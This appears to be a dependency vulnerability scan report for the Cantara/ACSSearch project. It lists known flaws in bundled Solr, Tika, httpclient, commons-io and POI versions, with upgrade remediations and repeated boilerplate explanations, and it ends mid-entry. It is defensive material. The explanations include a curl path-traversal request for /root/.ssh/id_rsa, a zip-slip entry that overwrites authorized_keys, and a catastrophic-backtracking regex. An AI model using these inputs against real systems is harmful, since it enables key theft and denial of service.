Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.18 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@7.6.0.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted file can trigger an infinite loop in the IptcAnpaParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.19 or higher.

References

medium severity

Improper Certificate Validation

  • Vulnerable module: commons-httpclient:commons-httpclient
  • Introduced through: commons-httpclient:commons-httpclient@3.1

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 commons-httpclient:commons-httpclient@3.1

Overview

commons-httpclient:commons-httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Certificate Validation due to not verifying that the requesting server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate. This allows man-in-the-middle attackers to spoof SSL servers via an arbitrary valid certificate.

NOTE: This plugin has been deprecated, but a fix has been released in version 3.1-jenkins-3 on a special Jenkins fork of the project.

Remediation

Upgrade commons-httpclient:commons-httpclient to version 3.1-jenkins-1 or higher.

References

medium severity

Man-in-the-Middle (MitM)

  • Vulnerable module: org.apache.httpcomponents:httpclient
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.httpcomponents:httpclient@4.3.1
    Remediation: Upgrade to org.apache.solr:solr-solrj@5.2.0.

Overview

org.apache.httpcomponents:httpclient is an HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Man-in-the-Middle (MitM) due to not verify the requesting server's hostname against existing domain names in the SSL Certificate.

The AbstractVerifier does not properly verify that the server hostname matches a domain name in the subject's Common Name (CN) or subjectAltName field of the X.509 certificate, which allows man-in-the-middle attackers to spoof SSL servers via a "CN=" string in a field in the distinguished name (DN) of a certificate, as demonstrated by the "foo,CN=www.apache.org" string in the O field.

Details

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.3.4 or higher.

References

medium severity

Arbitrary File Access

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.6.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@8.6.0.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@8.6.0.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Arbitrary File Access. The Replication handler allows commands backup, restore and deleteBackup that take unvalidated alocation parameter, i.e you could read/write to any location the solr user can access. Launching SMB attacks which may result in the exfiltration of sensitive data such as OS user hashes (NTLM/LMhashes). In case of misconfigured systems, SMB Relay Attacks which can lead to user impersonation on SMB Shares or, in a worse-case scenario, Remote Code Execution.

Remediation

Upgrade org.apache.solr:solr-core to version 8.6.0 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: commons-io:commons-io
  • Introduced through: commons-io:commons-io@2.1 and org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 commons-io:commons-io@2.1
    Remediation: Upgrade to commons-io:commons-io@2.7.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 commons-io:commons-io@2.1
    Remediation: Upgrade to org.apache.solr:solr-solrj@8.7.0.

Overview

commons-io:commons-io is a The Apache Commons IO library contains utility classes, stream implementations, file filters, file comparators, endian transformation classes, and much more.

Affected versions of this package are vulnerable to Directory Traversal via calling the method FileNameUtils.normalize using an improper string like //../foo or \\..\foo, which may allow access to files in the parent directory.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade commons-io:commons-io to version 2.7 or higher.

References

medium severity

Directory Traversal

  • Vulnerable module: org.apache.httpcomponents:httpclient
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.httpcomponents:httpclient@4.3.1
    Remediation: Upgrade to org.apache.solr:solr-solrj@7.1.0.

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Directory Traversal. String input by user is not validated for the presence of leading character / and is passed to the constructor as path information, resulting in a Directory Traversal vulnerability.

Details

A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.

Directory Traversal vulnerabilities can be generally divided into two types:

  • Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.

st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.

If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.

curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa

Note %2e is the URL encoded version of . (dot).

  • Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as Zip-Slip.

One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.

The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:

2018-04-15 22:04:29 .....           19           19  good.txt
2018-04-15 22:04:42 .....           20           20  ../../../../../../root/.ssh/authorized_keys

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.3 or higher.

References

medium severity

Improper Input Validation

  • Vulnerable module: org.apache.httpcomponents:httpclient
  • Introduced through: org.apache.solr:solr-solrj@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-solrj@4.8.0 org.apache.httpcomponents:httpclient@4.3.1
    Remediation: Upgrade to org.apache.solr:solr-solrj@8.10.1.

Overview

org.apache.httpcomponents:httpclient is a HttpClient component of the Apache HttpComponents project.

Affected versions of this package are vulnerable to Improper Input Validation. Apache HttpClient can misinterpret malformed authority component in request URIs passed to the library as java.net.URI object and pick the wrong target host for request execution.

Remediation

Upgrade org.apache.httpcomponents:httpclient to version 4.5.13 or higher.

References

medium severity

Header Injection

  • Vulnerable module: org.apache.james:apache-mime4j-core
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.james:apache-mime4j-core@0.7.2

Overview

Affected versions of this package are vulnerable to Header Injection. An attacker can add unintended headers to MIME messages via the MIME4J DOM.

Remediation

Upgrade org.apache.james:apache-mime4j-core to version 0.8.10 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.poi:poi
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@7.3.0.

Overview

org.apache.poi:poi is a java library for reading and writing Microsoft Office binary and OOXML file formats.

Affected versions of this package are vulnerable to Denial of Service (DoS). The calculation of dataSize in Ole10Native's initialization is faulty, causing the code to allocate a large buffer and resulting in Out-Of-Memory.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.poi:poi to version 3.16-beta1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.poi:poi-scratchpad
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.poi:poi-scratchpad@3.10-beta2
    Remediation: Upgrade to org.apache.solr:solr-cell@5.0.0.

Overview

org.apache.poi:poi-scratchpad is a Java API To Access Microsoft Format Files

Affected versions of this package are vulnerable to Denial of Service (DoS). HSLFSlideShow allows remote attackers to cause a denial of service (infinite loop and deadlock) via a crafted PPT file.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade org.apache.poi:poi-scratchpad to version 3.11 or higher.

References

medium severity

Access Restriction Bypass

  • Vulnerable module: org.apache.solr:solr-core
  • Introduced through: org.apache.solr:solr-core@4.8.0, org.apache.solr:solr@4.8.0 and others

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-core@8.8.2.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr@4.8.0 org.apache.solr:solr-core@4.8.0
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-analysis-extras@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-analysis-extras@8.8.2.
  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.solr:solr-core@4.8.0
    Remediation: Upgrade to org.apache.solr:solr-cell@8.8.2.

Overview

org.apache.solr:solr-core is an open source enterprise search platform built on Apache Lucene

Affected versions of this package are vulnerable to Access Restriction Bypass. When using ConfigurableInternodeAuthHadoopPlugin for authentication, Solr forwards/proxies distributed requests using server credentials instead of original client credentials. This results in incorrect authorization resolution on the receiving hosts.

Remediation

Upgrade org.apache.solr:solr-core to version 8.8.2 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: org.apache.tika:tika-core
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-core@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@8.11.3.

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) in the StandardsText class, used by the StandardsExtractingContentHandler. This is due to an incomplete fix for CVE-2022-30126.

Note: This only affects users who are running the StandardsExtractingContentHandler, which is a non-standard handler.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.28.3 or higher.

References

medium severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: org.apache.tika:tika-core
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-core@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@8.11.3.

Overview

org.apache.tika:tika-core is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) due to incomplete fix of CVE-2022-30126 and CVE-2022-30973 for regexes in the StandardsExtractingContentHandler.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-core to version 1.28.4, 2.4.1 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@8.6.0.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted or corrupt PSD file can cause an infinite loop in the PSDParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.24 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@8.6.0.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted or corrupt PSD file can cause excessive memory usage in the PSDParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade org.apache.tika:tika-parsers to version 1.24 or higher.

References

medium severity

Denial of Service (DoS)

  • Vulnerable module: org.apache.tika:tika-parsers
  • Introduced through: org.apache.solr:solr-cell@4.8.0

Detailed paths

  • Introduced through: Cantara/ACSSearch@Cantara/ACSSearch#1dad34017161b79523762c513ea50164b9ee2d08 org.apache.solr:solr-cell@4.8.0 org.apache.tika:tika-parsers@1.5
    Remediation: Upgrade to org.apache.solr:solr-cell@8.7.0.

Overview

org.apache.tika:tika-parsers is a toolkit for detecting and extracting metadata and structured text content from various documents using existing parser libraries.

Affected versions of this package are vulnerable to Denial of Service (DoS). A carefully crafted or corrupt file may trigger a System.exit in Tika's OneNote Parser. Crafted or corrupted files can also cause out of memory errors and/or infinite loops in Tika's ICNSParser, MP3Parser, MP4Parser, SAS7BDATParser, OneNoteParser and ImageParser.

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
